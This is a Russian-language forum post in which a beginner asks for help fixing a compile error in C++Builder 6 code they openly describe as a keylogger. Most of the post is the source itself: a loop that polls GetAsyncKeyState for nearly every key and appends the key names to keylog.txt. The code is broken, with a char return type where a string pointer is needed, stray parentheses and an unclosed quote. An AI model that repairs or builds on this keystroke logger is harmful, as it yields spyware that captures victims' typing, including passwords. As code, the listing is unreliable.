vbloodv
Сообщений: 1
Оценки: 0
Присоединился: 2011-07-03 20:48:45.790000
|
Добрый день! Необходима помощь в устранении ошибки. При компиляции( C++Builder 6) программа выдает Cannot convert 'int' to char, при этом в самой функции используются только строковые данные. Указывает на строку содержащую: "char *string=Interceptor();" и на все строки начиная со второй в самой процедуре перехвата. Заранее приношу извинения за оформление строк перебора клавиш в функции(мне показалось что когда слишком много такой вид будет лучше визуально восприниматься).
#include <iostream>
#include <fstream>
#include <windows.h>
#include <winbase.h>
#include <string.h>
char Interceptor();//Прототип функции
int k;
//Кейлоггер сохраняющий все нажатые клавиши в текстовой фаил
int main()
{
HFILE f=_lopen("keylog.txt",1); // открываем файл
while(true)
{
char *string=Interceptor();
int length_string = strlen(string);
_lwrite(f,string,length_string);} //end
_lclose(f); //Закрыли фаил
return 0;
}
//описание перехватчика клавишь Interceptor(от англ. Перехватчик)
char Interceptor()
{ //начало цикла
//1 ряд клавиш
char s;
if (GetAsyncKeyState(0x1b)!=0){s="esc";}
if (GetAsyncKeyState(0x70)!=0){s="f1";}
if (GetAsyncKeyState(0x71)!=0){s="f2";}
if (GetAsyncKeyState(0x72)!=0){s="f3";}
if (GetAsyncKeyState(0x73)!=0){s="f4";}
if (GetAsyncKeyState(0x74)!=0){s="f5";}
if (GetAsyncKeyState(0x75)!=0){s="f6";}
if (GetAsyncKeyState(0x76)!=0){s="f7";}
if (GetAsyncKeyState(0x77)!=0){s="f8";}
if (GetAsyncKeyState(0x78)!=0){s="f9";}
if (GetAsyncKeyState(0x79)!=0){s="f10";}
if (GetAsyncKeyState(0x7a)!=0){s="f11";}
if (GetAsyncKeyState(0x7b)!=0){s="f12";}
if (GetAsyncKeyState(0x91)!=0){s="scroll lock ";}
if (GetAsyncKeyState(0x13)!=0){s="pause ";}
//2 ряд клавиш
if (GetAsyncKeyState(0xc0)!=0){s="`";}
if (GetAsyncKeyState(0x31)!=0){s="1";}
if (GetAsyncKeyState(0x32)!=0){s="2";}
if (GetAsyncKeyState(0x33)!=0){s="3";}
if (GetAsyncKeyState(0x34)!=0){s="4";}
if (GetAsyncKeyState(0x35)!=0){s="5");}
if (GetAsyncKeyState(0x36)!=0){s="6");}
if (GetAsyncKeyState(0x37)!=0){s="7");}
if (GetAsyncKeyState(0x38)!=0){s="8");}
if (GetAsyncKeyState(0x39)!=0){s="9");}
if (GetAsyncKeyState(0x30)!=0){s="0");}
if (GetAsyncKeyState(0xbd)!=0){s="-");}
if (GetAsyncKeyState(0xbb)!=0){s="=");}
if (GetAsyncKeyState(0xdc)!=0){s="|");}
if (GetAsyncKeyState(0x8)!=0) {s="[backsp]";}
if (GetAsyncKeyState(0x2d)!=0){s="ins";}
if (GetAsyncKeyState(0x24)!=0){s="home";}
if (GetAsyncKeyState(0x21)!=0){s="pgup";}
if (GetAsyncKeyState(0x90)!=0){s="num";}
if (GetAsyncKeyState(0xbd)!=0){s="-";}
if (GetAsyncKeyState(0x6f)!=0){s="/";}
if (GetAsyncKeyState(0x6a)!=0){s="*";}
if (GetAsyncKeyState(0x6d)!=0){s="-";}
// 3 ряд клавиш
if (GetAsyncKeyState(0x9)!=0) {s="tab";}
if (GetAsyncKeyState(0x51)!=0){s="q";}
if (GetAsyncKeyState(0x57)!=0){s="w";}
if (GetAsyncKeyState(0x45)!=0){s="e";}
if (GetAsyncKeyState(0x52)!=0){s="r";}
if (GetAsyncKeyState(0x54)!=0){s="t";}
if (GetAsyncKeyState(0x59)!=0){s="y";}
if(GetAsyncKeyState(0x55)!=0) {s="u";}
if (GetAsyncKeyState(0x49)!=0){s="i";}
if (GetAsyncKeyState(0x4f)!=0){s="o";}
if (GetAsyncKeyState(0x50)!=0){s="p";}
if (GetAsyncKeyState(0xdb)!=0){s="[";}
if (GetAsyncKeyState(0xdd)!=0){s="]";}
if (GetAsyncKeyState(0xd)!=0) {s="enter ;}
if (GetAsyncKeyState(0x2e)!=0){s="del";}
if (GetAsyncKeyState(0x23)!=0){s="end";}
if (GetAsyncKeyState(0x22)!=0){s="pgdown";}
if (GetAsyncKeyState(0x67)!=0){s="7";}
if (GetAsyncKeyState(0x68)!=0){s="8";}
if (GetAsyncKeyState(0x69)!=0){s="9";}
if (GetAsyncKeyState(0x6b)!=0){s="+";}
//4 ряд клавиш
if (GetAsyncKeyState(0x14)!=0){s="[caps]";}
if (GetAsyncKeyState(0x41)!=0){s="a";}
if (GetAsyncKeyState(0x53)!=0){s="s";}
if (GetAsyncKeyState(0x44)!=0){s="d";}
if (GetAsyncKeyState(0x46)!=0){s="f";}
if (GetAsyncKeyState(0x47)!=0){s="g";}
if (GetAsyncKeyState(0x48)!=0){s="h";}
if (GetAsyncKeyState(0x4a)!=0){s="j";}
if (GetAsyncKeyState(0x4b)!=0){s="k";}
if (GetAsyncKeyState(0x4c)!=0){s="l";}
if (GetAsyncKeyState(0xba)!=0){s=";";}
if (GetAsyncKeyState(0xde)!=0){s="'";}
if (GetAsyncKeyState(0x64)!=0){s="4";}
if (GetAsyncKeyState(0x65)!=0){s="5";}
if (GetAsyncKeyState(0x66)!=0){s="6";}
//5 ряд клавиш
if (GetAsyncKeyState(0x10)!=0){s="shift ";}
if (GetAsyncKeyState(0x5a)!=0){s="z";}
if (GetAsyncKeyState(0x58)!=0){s="x";}
if (GetAsyncKeyState(0x43)!=0){s="c";}
if (GetAsyncKeyState(0x56)!=0){s="v";}
if (GetAsyncKeyState(0x42)!=0){s="b";}
if (GetAsyncKeyState(0x4e)!=0){s="n";}
if (GetAsyncKeyState(0x4d)!=0){s="m";}
if (GetAsyncKeyState(0xbc)!=0){s=",";}
if (GetAsyncKeyState(0xbe)!=0){s=".";}
if (GetAsyncKeyState(0x26)!=0){s="up";}
if (GetAsyncKeyState(0x61)!=0){s="1";}
if (GetAsyncKeyState(0x62)!=0){s="2";}
if (GetAsyncKeyState(0x63)!=0){s="3";}
if (GetAsyncKeyState(0xbf)!=0){s="/";}
//6 ряд клавиш
if (GetAsyncKeyState(0x11)!=0){s="ctrl";}
if (GetAsyncKeyState(0x5b)!=0){s="leftwin";}
if (GetAsyncKeyState(0x12)!=0){s="alt";}
if (GetAsyncKeyState(0x20)!=0){s="space";}
if (GetAsyncKeyState(0x5c)!=0){s="rigthtwin";}
if (GetAsyncKeyState(0x5d)!=0){s="popup";}
if (GetAsyncKeyState(0x25)!=0){s="left";}
if (GetAsyncKeyState(0x28)!=0){s="down";}
if (GetAsyncKeyState(0x27)!=0){s="rigth";}
if (GetAsyncKeyState(0x60)!=0){s="0",2);}
if (GetAsyncKeyState(0x6e)!=0){s="0",2);}
return s;
}
P.S.Программирую относительно недавно поэтому возможны синтаксические ошибки и много комментариев предназначенных скорее для меня самого.
|